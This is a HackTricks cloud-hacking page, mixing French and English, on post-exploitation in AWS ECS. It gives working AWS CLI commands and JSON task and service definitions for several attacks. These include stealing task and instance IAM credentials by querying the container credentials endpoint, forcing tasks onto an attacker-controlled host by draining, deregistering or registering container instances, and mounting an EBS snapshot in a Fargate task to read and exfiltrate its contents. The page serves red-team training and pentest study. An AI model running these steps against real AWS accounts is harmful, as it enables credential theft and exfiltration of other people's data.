AWS - ECS Post Exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

ECS

Pour plus d’informations, consultez :

AWS - ECS Enum

Host IAM Roles

Dans ECS, une IAM role peut ĂȘtre assignĂ©e Ă  la task s’exĂ©cutant Ă  l’intĂ©rieur du container. Si la task est exĂ©cutĂ©e sur une EC2 instance, l’EC2 instance aura une autre IAM role attachĂ©e.
Ce qui signifie que si vous parvenez Ă  compromise une instance ECS, vous pouvez potentiellement obtenir le IAM role associĂ© Ă  l’ECR et Ă  l’instance EC2. Pour plus d’infos sur comment rĂ©cupĂ©rer ces credentials, consultez :

Cloud SSRF - HackTricks

Caution

IMDSv2 avec une limite de saut de 1 ne bloque pas les tĂąches awsvpc ou host-networked — seules les tĂąches Docker bridge sont suffisamment Ă©loignĂ©es pour que les rĂ©ponses disparaissent. Voir ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation pour le workflow d’attaque complet et les notes de contournement. Des recherches rĂ©centes de Latacora montrent que les tĂąches awsvpc et host continuent de rĂ©cupĂ©rer les host credentials mĂȘme lorsque IMDSv2+h=1 est appliquĂ©.

Privesc to node to steal other containers creds & secrets

But moreover, EC2 uses docker to run ECS tasks, so if you can escape to the node or access the docker socket, you can check which other containers are being run, and even get inside of them and steal their IAM roles attached.

Making containers run in current host

Furthermore, the EC2 instance role will usually have enough permissions to update the container instance state of the EC2 instances being used as nodes inside the cluster. An attacker could modify the state of an instance to DRAINING, then ECS will remove all the tasks from it and the ones being run as REPLICA will be run in a different instance, potentially inside the attackers instance so he can steal their IAM roles and potential sensitive info from inside the container.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

La mĂȘme technique peut ĂȘtre effectuĂ©e en dĂ©senregistrant l’EC2 instance du cluster. Cela est potentiellement moins discret mais cela va forcer les tĂąches Ă  s’exĂ©cuter sur d’autres instances :

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Une derniĂšre technique pour forcer la rĂ©-exĂ©cution des tasks est d’indiquer Ă  ECS que le task or container was stopped. Il existe 3 APIs potentielles pour cela :

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Rejoindre le Cluster Avec un HĂŽte Attaquant (Register Container Instance)

Une autre variante (plus directe que le draining) consiste Ă  ajouter de la capacitĂ© que vous contrĂŽlez au cluster en enregistrant une instance EC2 comme container instance (ecs:RegisterContainerInstance) et en dĂ©finissant les attributs requis de l’instance container pour que les contraintes de placement correspondent. Une fois que des tasks atterrissent sur votre hĂŽte, vous pouvez inspecter/exĂ©cuter dans les containers et rĂ©cupĂ©rer les identifiants AWS_CONTAINER_CREDENTIALS_RELATIVE_URI.

Voir la section de la page ECS privesc sur ecs:RegisterContainerInstance pour le workflow complet.

Steal sensitive info from ECR containers

L’instance EC2 aura probablement aussi la permission ecr:GetAuthorizationToken lui permettant de tĂ©lĂ©charger des images (vous pourriez y chercher des informations sensibles).

Steal Task Role Credentials via ecs:ExecuteCommand

Si ExecuteCommand est activĂ© sur une task, un principal disposant de ecs:ExecuteCommand + ecs:DescribeTasks peut ouvrir un shell dans le container en cours d’exĂ©cution puis interroger le task credentials endpoint pour rĂ©cupĂ©rer les identifiants du task role :

  • Depuis l’intĂ©rieur du container : curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
  • Utiliser les AccessKeyId/SecretAccessKey/Token retournĂ©s pour appeler les APIs AWS en tant que task role

Voir la page ECS privilege escalation pour l’énumĂ©ration et des exemples de commandes.

Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

Abuser de l’intĂ©gration native ECS EBS (2024+) pour monter le contenu d’un snapshot EBS existant directement dans une nouvelle task/service ECS et lire ses donnĂ©es depuis l’intĂ©rieur du container.

  • Needs (minimum):

  • ecs:RegisterTaskDefinition

  • One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole on:

  • ECS infrastructure role used for volumes (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • Task execution/Task roles referenced by the task definition

  • If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

  • Impact: Lire arbitrairement le contenu du disque depuis le snapshot (par ex. fichiers de base de donnĂ©es) Ă  l’intĂ©rieur du container et exfiltrer via le rĂ©seau/les logs.

Steps (Fargate example):

  1. Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. Enregistrer une task definition avec un volume marqué configuredAtLaunch et le monter dans le container. Exemple (affiche le secret puis se met en veille) :
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. CrĂ©er ou mettre Ă  jour un service en passant le snapshot EBS via volumeConfigurations.managedEBSVolume (requiert iam:PassRole sur le rĂŽle d’infrastructure). Exemple:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. Lorsque la tĂąche dĂ©marre, le conteneur peut lire le contenu du snapshot Ă  l’emplacement de montage configurĂ© (par ex., /loot). Exfiltrer via le rĂ©seau/les logs de la tĂąche.

Nettoyage :

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks